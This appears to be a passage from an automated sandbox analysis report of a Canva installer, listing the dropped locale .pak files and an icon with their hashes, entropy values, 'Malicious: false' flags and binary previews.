Preview:	........M%..e.D...h.L...i.]...j.i...k.x...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}....... .....%.....-.....5.....=.....D.....K.....R.....S.....T.....V.....b.....r.................#.......................r.................".................N.....d...........1.....g.....~...........).....R.....a.................5.....C.................R.....s...........K.......................`.......................o.................-.......................v...........5.....N.......................%.....s.......................G.......................6.......................8.............................p.......................O.....{.................D.....x.................c.......................r.......................X.....y.................F.....n.................R.......................W.....u.................M.......................b.................H................./................._.................O.......................8.....\.....l............ ....\

C:\Program Files (x86)\Canva\locales\pl.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	571219
Entropy (8bit):	5.764870780434209
Encrypted:	false
SSDEEP:	12288:HlRzWoOB/k0wvZfQfR6HA5bFVP3CUdCe3mhUrMAmW1Qh4Mh59M14scly:HlR9glMe1Qhz53Q
MD5:	75E71F0C6E72AC4F9DAD168BA307D2B0
SHA1:	41129512809F2AFAE64B04FB1EFA81D9C22B8389
SHA-256:	C8F76EF189D14A0C75407DC40348CD9171F5997A94A4961D86152CEA2258ECF6
SHA-512:	EBB279F36D612CB1D94E9333140CACFC9E7946A646CF28CD75F55AB20680B4ED5645AC9887FA528A07F8BB03FE942D8E104D63AF1B11CB9F79826F34E53DBEF6
Malicious:	false
Preview:	........a%..e.l...h.t...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.&...\|.,...}.>.....F.....K.....S.....[.....c.....j.....q.....x.....y.....z.....\|.............................b...........].....y...........G.................&.......................s.................(.................................................................;.....a...........W.................4.......................J.......................v...........:.....V...........g.................C.............................O.....r.......................6.....D.................F.....Z.................H.....Z.................@.....P.................'.....7.................'.....8...........".....o.................!.....>.....U.......................E.................5.....J.................k.................5.....S.....j.................C....._...........<.....................................................1.....\............ ....C ....T ..... ..... .....!.....!.....!.....!....("

C:\Program Files (x86)\Canva\locales\pt-BR.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	537107
Entropy (8bit):	5.4226739022427255
Encrypted:	false
SSDEEP:	6144:cneZxthZ8l/gooNBXBLZWkoyVH553JBi90sRaY5Cs:rxOl/go+5NJ9sR15x
MD5:	F8BCB6FD83B0425ABB9B214535025140
SHA1:	51E72F9B419393674E8CC9AC3ABABD6FCDEFA251
SHA-256:	3EF0114EAF2268262CD594BFE33B56B24FB416D23D6FD125A9AE022D8ECEAA99
SHA-512:	A5DC5E3EAD99820D3EE9B83CF58670923EDB8B538DAE84FFC6B1AEA9869FEC58F0A5E8AD8BA5A792736D1A593B4B6664D734BE3EF524FC2B036B268FE108B5A2
Malicious:	false
Preview:	........c%..e.p...h.x...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.,...\|.2...}.D.....L.....Q.....Y.....a.....i.....p.....w.....~...............................................l...........T.....p...........7.....p.....................................................0.............................f...................................B.....r...........g.................B.......................g...................................S.....l...........x.................=.............................y.......................v.........................................!.....x.......................W.......................1....._.....i...........&.....^.....o...........j.................(.....r.......................C.....i.................E.....]...........V.................:....._.....x.................E.....X...........(.....s...............................................G.....r...........$ ....L ...._ ..... ..... ...."!....7!.....!....."....L"....l"....."

C:\Program Files (x86)\Canva\locales\pt-PT.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	539844
Entropy (8bit):	5.396781215354528
Encrypted:	false
SSDEEP:	6144:rtptZSTJLUHxk7jZieJVJJxhHLshYfVh85FKybSRLi:rtpmtAkt85FKsSRW
MD5:	90964C1734B1C36442DD69EDBD85882C
SHA1:	BA1FF66B255FE432278BC44860C6C4B3DA975296
SHA-256:	B9439000C1C75565C2F223612079A51971AC54A3786D5B631F20436447929465
SHA-512:	5A6AFC90FF5A3A65E9E2F4347635A82CCBFCC9D1F5D6B206828650AA49A2DCC59D3C8833CBFB9FC7CE8F347A28D718567E1CC300758A2EA5126C67E0967AEDC8
Malicious:	false
Preview:	........~%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s."...t.+...v.@...w.M...y.S...z.b...\|.h...}.z...........................................................................................................x.................^.................G...........'.....B...........-.....q.................8.....b.....r.................F.....X...........F.................,.......................f..................................).....9.................W.....l...........b.................7.......................".....\|................................................................2.............................s.......................L.....y.................:.....n.................].......................m.......................2.....L.....]...........!.....N.....h...........A.......................W.......................A.....w.................M.................;...................................e............ ....l ..... ..... .....!....`!.....!.....!....."....h"....."

C:\Program Files (x86)\Canva\locales\ro.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	559523
Entropy (8bit):	5.4511750881399434
Encrypted:	false
SSDEEP:	6144:JF04spOl5qs9TjmXHjvyJeyFodxOINkjK0yGZq5zZyo2ts2H/ktO3:JS4sAKQmXHuJRFozO/u0zq5zAoY/b3
MD5:	3DFCF8B66CE93A258D1631685A137E20
SHA1:	4B10119ACB26C44EDFF2028D27E960B93C0BD812
SHA-256:	5E5D1CDE0FCEB570C20E7485B32F0EF7AD59569B93574FCBBC7AEAD4906E7D14
SHA-512:	17FE50ECD7D44EE5D652B4240CC3B01CF796F9EC11C5FDFE5AF9DE63999F10D2A50842FDF95FA2DBB4982139C34A9DFB11C8BC2261180862652A92F1497692C4
Malicious:	false
Preview:	........]%..e.d...h.l...i.}...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.$...}.6.....>.....C.....K.....S.....[.....b.....i.....p.....q.....r.....t.............................A.................9.................3.....G...........N.................?......................._.......................B.......................Q...................................L.....p...........N.......................r.................-.......................~...........N.....\|.................9.....V.......................%.....v.......................[.......................X.......................E.............................k.......................S.........................................M.............................e.......................j.................7.................".....t.......................e................................... .....5...........2.................'.......................t............ ....$ ....x ..... ..... ..... ....z!.....!....9"

C:\Program Files (x86)\Canva\locales\ru.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	919180
Entropy (8bit):	4.8229638553919765
Encrypted:	false
SSDEEP:	12288:vzmSGKfQjRo4YS5KCx/K6NzJ9ZF/Aalla4qSGsN9z/0TYH8eXN2hVO3j/tSbzvMv:vYXxm506tU
MD5:	DE3B5FAF5D64B16867BE213591E545B9
SHA1:	5B8BDAF38278604B5031E1C944349A31FDD281B4
SHA-256:	07DBEEE5A0B9C6C978D1C593DB5DD6152003FA12170A8189BDDE77908D826DCF
SHA-512:	5808A46DD05302338EF63B1F1815828840218324A6FBB1AE6B19F62D803795BA13F7AB7AEE1E39137F61F99651AC80166781CDB1F295FBBFDBB218C5A293967F
Malicious:	false
Preview:	.........$..e.....h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...q.{...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................#..........+.....,...........K.....h.................h.....(.................y...........{...........~.....;.................y...........>.....x.....'.........../.....R.................H....._.......................A.....4...........~...........q...........V...........2.................8.......................G.....K.....E.......................'.....T...................................V...................................O.....t.........................................W.....n...........k.................9........................ ..... ....V!.....!....."....\|"....."....."....K#.....#.....#.....#....s$.....%....{%.....%.....&....%'.....'.....'....s(.....(.....(.....).....)....>....~.........\|+.....+....d,.....,....a-......................./.....0.....1....c1.....2.....2.....2.....2....o3.....3.....4....64.....5.....5....+6

C:\Program Files (x86)\Canva\locales\sk.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	577498
Entropy (8bit):	5.8098091220164525
Encrypted:	false
SSDEEP:	12288:rSkwf/qsOkNEpiIip+RC5zwbLfrQzLPxt9eI:3wf/qsgpiCC5OLkBtEI
MD5:	421D713180D716A060629C334630ED80
SHA1:	FD2D0A0A6D7A27C40A725C1757299AFE6D3A12FB
SHA-256:	BE66B2442B5B4A6DC28A14545E2C4A0BC7F9E6547A89F974D7B8A63525C1855F
SHA-512:	A6C8F62DFE81008A888FAB89BCCDCA8242650771BC2B07CB6B51B77DDA2C8EB9F2681D6260CA584ED2BDBC1EB6A60B78C8E07445FAA4E15D2B30134989263EB0
Malicious:	false
Preview:	........_%..e.h...h.p...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.'...\|.-...}.?.....G.....L.....T.....\.....d.....k.....r.....y.....z.....{.....}.............................p...............................................c...........7.....Q...........".....[.....r...........A.....p.................<.....e.....y...........R.................G.................6...........-.....h.................d.................7.............................-.....~.................O.....o.................E.....k.....}...........>.....e.....w...........W.........................................*.......................;.......................Z.............................5.......................8.....S.....g.................8.....M.................O....._...........\.................1.......................5.......................U.............................W ..... ..... ....R!.....!.....!.....".....".....".....#..../#.....#.....#.....$.....$.....$.....%....M%

C:\Program Files (x86)\Canva\locales\sl.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	554338
Entropy (8bit):	5.479799007655059
Encrypted:	false
SSDEEP:	12288:v/ym7W5Op5rB2I+EbME5G8coJHvbxi/fz4Cqc:Xym7Wop5T3ME5G8cii/fz44
MD5:	C2C99E4B36E16403DED88CFF651671C7
SHA1:	F3257F4B444CD2E33451A76BD55F81372F622681
SHA-256:	8095CE45373D8DE8DD243FEC034643060CBFF67A48FA81414E31A0B9327EEFC4
SHA-512:	D8C76B7C9C3B6A1CF5C72ABED0B53E2552EE28D1575CBE3B680904281F07EC797D37A4D60590490984C6C0DCB33D3C688869DEE9C51920D4B41862D1E5FD7DC2
Malicious:	false
Preview:	........K%..e.@...h.H...i.Y...j.c...k.r...l.}...n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}...................'...../.....7.....>.....E.....L.....M.....N.....P.....b.....p.................%................. .................'.....8...........D.......................z.......................y.......................l.................!.......................a.................-.................E.....[.........../.....f.....z...........t.................e...........6.....\.................".....:.................................................................6.....J.................D.....U...........;.....\|.................M.....{.................Q.......................m.................$.....y.......................^.....\|.................Y.................*.......................[.......................T.......................t.................&...........p.......................0 ..... ..... ..../!.....!.....!.....!....+"....\|".....".....".....#.....#.....#

C:\Program Files (x86)\Canva\locales\sr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	853696
Entropy (8bit):	4.754963351356009
Encrypted:	false
SSDEEP:	12288:QhjTzIuup7+q2YZAYI8glSDdrLuzQhrUPb7FW5YrT0xs7xH4rL37SjeYM/k/p:0jvwvwlW5nxoP
MD5:	D0045EF8D5EA1347F09983410EFFF00C
SHA1:	4C88AEC2A3D54E44E0D05281201B06917FAF17AD
SHA-256:	A50C82C0DB17E2AA4A62068CA2B210FD9847D32BF2134D6D5AF1FC4B7050091A
SHA-512:	1694CBD28BD29E5F394E3F6CEC01F9EFBB9DA8358F59FF80F550D4059ABDB02E02D4D4DA007E0646FA5CFC812FF8F94FE0A747BDF8B6F8449F02D28D83D536D5
Malicious:	false
Preview:	........j%..e.~...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.%...y.+...z.:...\|.@...}.R.....Z....._.....g.....o.....w.....~.....................................................7.....$...........e...........]...........j.................S...................................A...........p.................o...........,.....C.......................?.....?.............................%.................n...........g...........r.....).............................a...............................................6.....Y...........V.................q...........r...........A.................7...........P ..... ..... ....R!.....!....."....6"....."....e#.....#.....#.....$....S%.....%.....%.....&.....&....5'....]'.....'....l(.....(.....(.....).........k.....*....X+.....+....K,.....,....>-.....-.....-................^/...../...../.....0....?1.....1.....1.....2.....3....C4....a4....O5.....5....h6.....6....l7.....7....K8....l8.....8....g9.....9.....9.....:....5;.....;

C:\Program Files (x86)\Canva\locales\sv.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	498248
Entropy (8bit):	5.542683564471982
Encrypted:	false
SSDEEP:	6144:g3MKUcRe61TO/AYcNUAvSCZxemvZl1BI4RFcz9RyoxGOGW3IiRMaSOmDE/xWcqdk:g3/LCAYcGC1l5+5dzB
MD5:	02AD118E6E093D71E32291958F5A44FA
SHA1:	111974CF0FBC304B1395A6D68FF3A79A25B72B76
SHA-256:	A615C0756155436781F8E8543D4B4163B7D96CBDF58BA86DDCE8B39C5B7A17C8
SHA-512:	717A438BBEE8D21011C1DA203B5126EF4AC330CD94013A93EEBA518E5E33772A8667A84C368B1A9B2D1E151D8A81E53CD0C5C59C58A578BD4AA1345115C4A49B
Malicious:	false
Preview:	........)%=.e.....h.....i.....j.!...k.0...l.;...n.C...o.H...p.U...q.[...r.g...s.x...t.....v.....w.....y.....z.....\|.....}...............................................................................1.....E.....Y...........^.................%.......................a.................G.................P.....l...........".....Q.....a...........!.....R.....b...........F.........................................K.......................U...................................[.....q.............................j.......................F.......................#.....{.........................................$.............................v.......................f.......................d.......................x................. .....s.......................I.....g.......................;.....M...........%.....b.................F.....e.....{...........7....._.....t...........-.....h.....~.............................m.................;.................7.....J.................. ..... ....l ..... .....

C:\Program Files (x86)\Canva\locales\sw.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	524797
Entropy (8bit):	5.339786582850613
Encrypted:	false
SSDEEP:	12288:Za8pzL2fuucrB5G7CCRdCAUQbQW4243EaeFNUq89F1ggt45rUAcw06yJMkJPe/Bb:HkJ5IY
MD5:	AD41974EFF2483E260B558AC010879DC
SHA1:	BE8B566A4CE4A529F8EB0352ABC7A2023A9B5355
SHA-256:	ECC84D9A40448772697C14F27B1297FCDCE12DF30D008A7D4149A6AA587D85A8
SHA-512:	2B731DAAD19CA5E43D29106C1EC06B8BA6B54EF44571FD51C2CF65DA4C9BA1941D78808D03F2056A839E2E76844E979B775AFC7B470640101328B572D10E0C4E
Malicious:	false
Preview:	........X%..e.Z...h.b...i.m...j.y...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....i.....{.......................;................. .......................@...........3.......................L.......................=.....h.....w...........".....Q....._...........,.....`...................................[.......................i.......................j.............................&.......................F.....n.......................:.....C.........................................=.....K.................0.....B.................C.....N.................%.....2.................%.......................X.....q...........$.....P.....l................._.................@.....\|.................h.................>.............................f.................'.....\|.................f...........;.....O...........1.....t...................................L ..... ..... ..... ....n!.....!....!"

C:\Program Files (x86)\Canva\locales\ta.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1358123
Entropy (8bit):	4.034318859603253
Encrypted:	false
SSDEEP:	6144:obtBkiv2nWiuF5uzGtR6cA25tm1vYpiMyj:afdenWzF5uz/cA25tm1vYpiMyj
MD5:	2F628ABBFE91A7738CD47142E42A4CCB
SHA1:	9FB966C32D237E3ADDBED97478CB84697BCF1FE3
SHA-256:	3C8DCE29BCF2B60BCC273229AFCA64EB07A73C729D0D20E35455CC5D933E9A69
SHA-512:	9A1F0A40E8FF8E68DD08DBEA55DCFF45E7BBE76DE45520323832A9004698E6AB30D53ECA58EFE6DB08621F940A80C3AE441E038BCEFA4206CAFAF664E6CC0BFB
Malicious:	false
Preview:	........@%&.e....h.2...i.C...j.O...k.^...l.i...n.q...o.v...p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}...............................#..........1.....8.....9.....:.....?.....m.................<...........7...........&.....x...........b......................\.................'.............................Q...........l.....N.........................................o...........w...................................=.....e...........9...... .....!.....".....#.....$.....%.....&.....'.....(.....(....:).....)....o....K+.....+.....+.....,.....-..........;.....f/....p0.....1....N1....E2....63.....3.....3.....4.....5....56....c6....\7....L8.....8.....8.....9.....:....\;.....;.....<....<>.....?....\?....W@....?A.....A.....A.....B.....C.....C....HD.....E.....F.....F.....G....GH....UI.....I....]J....5K.....K....KL.....L.....M.....N....]O.....O....-Q....@R....!S....rS....^U....HW.....X.....X....FZ....S[.....\....}\.....]....._....._....)`....-a.....b.....b.....b.....d....;e.....e

C:\Program Files (x86)\Canva\locales\te.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1255925
Entropy (8bit):	4.288346104977189
Encrypted:	false
SSDEEP:	12288:sHU9G7McKNBJhot56d4e/gb0HrWs05Bk3p1FZNViFlV2wtg+NFqIrOlHXAAFwQVV:s0X1u5EM2X
MD5:	44C01878B175E976E75CE036E4D7A495
SHA1:	91ECD7611C7C25F8615F234537819BE42799B288
SHA-256:	7F28D607ED94E339B677CD5556202FB60F7E801E74AF16397EF610C7302F6957
SHA-512:	3AFBFB3D6A95F1D61FE6A409729C768F1E4F0B3B4C1B6E35AF806F0AABCB6FF516CC70E9A112C2C6CEDE88C2778BFAE08A3E6AFFD05C9D5BC8A5DD4A4EC9BDD3
Malicious:	false
Preview:	........r%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.1...w.>...y.D...z.S...\|.Y...}.k.....s.....x.......................................................................T...........F...........x...................................{...........b.........................................z.............................U.................}...........=............................`.....T...........+.....g.....^...........1............ .....!....."....\|#.....$.....%....#&.....'.....'.....(....H(....q)....6...............+.....,....&-....g-.........../....20.....0.....1.....2.....3....[3....{4....L5.....5.....6....#7.....7....i8.....8.....9.....:.....;....b;.....<.....=....N>.....>.....?....C@.....@.....@.....A....EB.....B.....B....wC....,D.....D....%E.....F.....G.....H.....H.....I....^J.....J.....K....FL....$M.....M.....M....@O.....O.....P.....P.....R....<T....mU.....U....0W....AX.....X....lY.....Z.....[....;\.....\.....]....Z^.....^....._....\`....Wa.....b

C:\Program Files (x86)\Canva\locales\th.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1055231
Entropy (8bit):	4.333705516374822
Encrypted:	false
SSDEEP:	12288:78XSN9LyZYArTJz1L/L1XPhHsbhRy1cW+v1H5UJEyL3ftj8wlz9eTRo94G+K9uLO:78XBS5j5k
MD5:	8470D57577F417DA93D40889CBE9F4BF
SHA1:	6B497939F2B196A1B84E06D8AC2449B554C14A60
SHA-256:	F5118CA292C570E69972FF8A7A81940A98DBF4519532CEFF133488A329825F78
SHA-512:	EFA31D2C3DC584AAA4120C931749FF1CC0F21D263530DD6BD2D9F66BEC74159998CBF679A78B8D231FAB5DA1F0CB48A9D9DFACD0E0E85336B234B87B2457BFF3
Malicious:	false
Preview:	.........$..e.....h.....i.....j.....k.....l.....o.....p.....q.....r.....s.(...t.1...v.F...w.S...y.Y...z.h...\|.n...}...........................................................................................s.......................V...........]...........^.................k...........A.....z.....U...........H...........j.................s...........<.....U.....x.....3.............................$.....u.....C...........n...........]...........j...........e...........~.........................................=.......................H.......................2.......................: ..... ..... .....!....Z".....".....".....#....k$.....$.....%.....%....P&.....&.....&.....'....K(.....(.....(...............+.....+.....,....(-....t-.....-....b...........-/....d/.....0....r0.....0.....1....92.....2....x3.....3.....4.....5....@5....p5....E6.....6.....7....d7....c8.....8....g9.....9.....:.....;....6<....W<.....=.....>....[?.....?.....@....fA.....A.....B.....B....^C.....C.....C.....D.....E....<F

C:\Program Files (x86)\Canva\locales\tr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	535874
Entropy (8bit):	5.6117453642537285
Encrypted:	false
SSDEEP:	6144:KErTapWZp08qQdrdwZiRDhzXkKxv8CXHXki4wge75MW/2+qi1nEedGAMYw/KFT6Q:KECph8qeoi7zBkiN5MW/B
MD5:	04D37B8E9DB287042E86D0623063F9CA
SHA1:	C6C3C32350737EFBC938F59A12D1D4A1C2ACA736
SHA-256:	0FD794B314D12652CA5C1986795A00BD0116B44A3163D2EA0B26560E3AD23EEE
SHA-512:	38756868FDD0045AA3E10D26E89F923759AFF7FB4C984CAE2FC46091D737E6C9B5EDD924948671ABE4B9991E150DCB0068143618911595F021332A5DBA7AD912
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.%...r.1...s.B...t.K...v.`...w.m...y.s...z.....\|.....}...........................................................................................5...........X.................7.......................q...........,.....G.................C.....V.................&.....5.......................*.................,.....N...........A.......................f.......................].........................................].................-.......................3.................!.....2.......................,.......................;.................A.....R.................E.....R.................>.....J.................C.....P...........U.................'.......................(.....u.......................\.......................}.................9....................... .....y.................8.............................6.................N............ ..... ..... ....4!....z!.....!.....!....Z".....".....".....#....x#.....#

C:\Program Files (x86)\Canva\locales\uk.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	918373
Entropy (8bit):	4.858278654048673
Encrypted:	false
SSDEEP:	12288:/T0LytA6d8Nj7RMRWYPnfzKj0meRi8ICN5rB3IjtAlLEpdcuPLNiXEqqbQS0w:/Ys8Njtgz55E5
MD5:	BC19ED011123CE8CE343BA2BE9DAA315
SHA1:	D588DF92475BB650D1E2BFC15E558315E90C9425
SHA-256:	EF7FFD8792B482829F31924241E6BD12DCCDFDF404A0781BB28747C308649C0A
SHA-512:	6B0960807F27C7653E7D851D503F5564F773C9E4290D4745566A0C3911CC0EF12E90F47DE883C541129AD7D294A766F226DC689AA343A00AD72049BF3D5C3713
Malicious:	false
Preview:	.........%V.e.....h.....i.....j.....k.....l.....n.....o.....p.#...q.)...r.5...s.F...t.O...v.d...w.q...y.w...z.....\|.....}.....................................................................................?...........e.....(.......................!.................{...../.......................J.............................\|...........:...........&.....;.........................................K...........9...........3.....Y...............................................!.................\...........$...................................<.....]...........\.................l...........j...........&.............................,.....v.............................. ..... .....!....`!....{!....t"....D#.....#.....$.....$....!%....e%.....%.....%....]&.....&.....&....Y'.....'....x(.....(.....)....<.........++.....+....,,....`,.....,....4-.....-.....-....%............/.....0.....0.... 1.....1.....2.....2.....3...._4.....4....)5.....5....h6.....6.....6....i7.....7....%8....B8.....9.....9....2:

C:\Program Files (x86)\Canva\locales\ur.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	801665
Entropy (8bit):	5.134245422974978
Encrypted:	false
SSDEEP:	12288:Xc/F4PuvV+8PomR0D2nyBO3QU56JhEFZWPOWojYzQYrNwadcJKwU8ueco/9NjjFE:Xcm6V5vWR
MD5:	4144860C649699B6237186D186697910
SHA1:	A1774F0AE15891A80D40202723E4DF4044788D40
SHA-256:	2E0B43AFA9C69288586ED404564EE2F420A87FF7936BDB48EFBF21CE8F58F468
SHA-512:	D1E1FF2BDC0E746E84C36B221C7CBBD49A905B6353A23914F1F9F4A9314F495B1D273230C99488F9A3B61980211D90E996165B3DF7A3AA761E374D2A35AC8CD9
Malicious:	false
Preview:	........V%..e.V...h.^...i.f...j.r...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.!.....)...........6.....>.....F.....M.....T.....[.....\.....].....b.....z.............................l.....................................................'.....\.......................:...........E.................H.................7...........C.................\|...........y...........Z...........J.....i........................................7.....c.....A.......................<...................................6.....X...........A.................9.................+...........J.................L................./...........+.....w.............................. ..... ....q!.....!....."....."....(#....n#.....#.....$.....$.....$.....$....g%.....%....'&....H&.....'.....'.....(....J(.....(....K).....).....)....W.........2+....X+....,.....,....$-....U-....%...........\/...../....d0.....1.....1.....1.....2....13.....3.....3....[4.....4.....5....D5.....5....x6.....6

C:\Program Files (x86)\Canva\locales\vi.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	634523
Entropy (8bit):	5.786224749056375
Encrypted:	false
SSDEEP:	12288:HLvU+cmwJlroEKaaF/KtXy0xxcPdI9+vUx5a8hye94KieJziMHo6wtON:rs+cmwJl7a4ti0xeo5a88e1ieliMI6wI
MD5:	4185AB945C7550DE028909A55ABD3129
SHA1:	0D5DAF37C1A0528C6F1DBA47758FC18938B6F34C
SHA-256:	030D29BFC26F9F08DB13455C0D635F33B0315905D27D030D9F7813DADD899603
SHA-512:	F500B4957AB0192A570130868BD661F94B4D0CD36D6A9EA5BE45437C95DCD8923CCA1EBFACD9AC98B85420E1D9FA96A74A9D4801432296A87871867672B3C60E
Malicious:	false
Preview:	.........%^.e.....h.....i.....j.....k.....l.....n.....o.....p.....q."...r.....s.?...t.H...v.]...w.j...y.p...z.....\|.....}..................................................................................... .....?.......................1...........E................._...........S.....y...........z.................:......................./...................................K.....}.....=...........O.....}.............................~...........C.....Z...................................X.................\.......................v.................!.................=.....N...........L.........................................+.......................@.......................S.............................^.................c...................................-...........$.....Z.....z.....#............ ....n ..... ....R!.....!.....!....7".....".....".....#.....#.....#....S$....z$.....%.....%....3&....G&.....'.....'.....(....D(.....(....-)....b)....{).....)....N..........*....3+.....+.....,....<,

C:\Program Files (x86)\Canva\locales\zh-CN.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	458528
Entropy (8bit):	6.664384291438873
Encrypted:	false
SSDEEP:	6144:nRAwX0s66VXNN5zu+E7/56aO/epD659+qjNFEwYHB07ulz:nRA3s6OXNzzt856aO/w65McNFEwmB/
MD5:	6AF4D1577C142B87DABD3262F37634C8
SHA1:	1B6152757B163455E9E1304E1BA1C09DD6593385
SHA-256:	374AED2859320A7287B64A8D1B150F7DE05A931BE3603A541B68DDD64EA361B1
SHA-512:	7F0A6CF88634E852B0E3E3B6B8A0C703602F3F606B8B34183D129F55EA2CE120E1C4D2EE2820FE027F025D422EBD0DFFE5F696303C1306F717129985CC0EF826
Malicious:	false
Preview:	.........$..e.f...h.n...i.v...j.y...k.....l.....m.....o.....p.....q.....r.....s.....t.....v.....w.....\|.....}...................#.....+.....:.....?.....G.....N.....U.....W.....\.....e.....q.........................................C.......................A.......................L.......................P.......................(.....u.......................V.....\|.................q.................#.............................f.......................R.......................h.......................G.....a.....{.................4.....@.............................g.......................o.......................O.......................4.............................^.......................y................. .....i.......................E.....j.................8.....\.....n.................O.....o.......................$.............................................../.................`.....r...........>.....v.................;.....a.....p.................!.....1.......................#.......

C:\Program Files (x86)\Canva\locales\zh-TW.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	453011
Entropy (8bit):	6.676159403780886
Encrypted:	false
SSDEEP:	6144:1K2A4c8ADmJUHGF2tuDasg5V5gjkzBMOZQyZV7zeXTA:8Z8Ahwasg5V5gjkzpr/7/
MD5:	D6800784F1138702E4973CC5B074FE6C
SHA1:	A8938CED7FE5A35163C28214EADD96A6F63A8666
SHA-256:	D2C4AEC734BC94FBE7D60666343B4E419BE5E2CD1FF445A8BBF14FB4B8D3D715
SHA-512:	3AD3557908E4BA71A5062AB0BE07832D553E6A3BD56BDD59A719DF65A4D9152950AF2DE25C6C410B6407463A862C92D49E9D0EE863BEF27A792AA128458FC7E7
Malicious:	false
Preview:	.........$..e.....h.&...i.7...j.;...k.J...l.U...n.]...o.b...p.j...q.p...r.\|...s.....t.....v.....w.....y.....z.....\|.....}.............................................................'.....3.....B.....Q...........A.......................9.....b.....n.................`.....r...........".....O.....a.................2.....>.............................f.......................Z.......................R.......................:.......................).......................?.......................E.............................C.....c.....o.................1.....@.............................p.......................S.......................;.............................h.......................e.......................@.....Z.....n................. .............................t.......................].............................g.......................O.....~...................................G.......................Y.......................#.....d.....y.................0.....W.....i...........".

C:\Program Files (x86)\Canva\p103.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	MS Windows icon resource - 16 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -64x-64, 32 bits/pixel
Category:	dropped
Size (bytes):	418858
Entropy (8bit):	6.134356329318626
Encrypted:	false
SSDEEP:	6144:UhWzbZ9cheFHGEsKisWsssHY698kbbsh4Ey+hX2MVhcjmvlEsfwWssssPjb2fh7f:hZ91F6imvJU3tg781CU
MD5:	06EC08FB855CE8FBCB146F5E0B9007C1
SHA1:	DB31FDC1632FC86CA37717435640D6FD8C9BEDF2
SHA-256:	01B606DA42E3DE189D6DD4F86F22C146C7CC9B5C66270FA2BB68B74EE0B8FFB2
SHA-512:	6907857F6423AD41445978E617C3169E75A934C94463C8BFD56E438B5B378DB904F0A4FC13E37B6A7FAD48C80D5EFAD2147151E589B2C3F398EADE6634A0F330
Malicious:	false
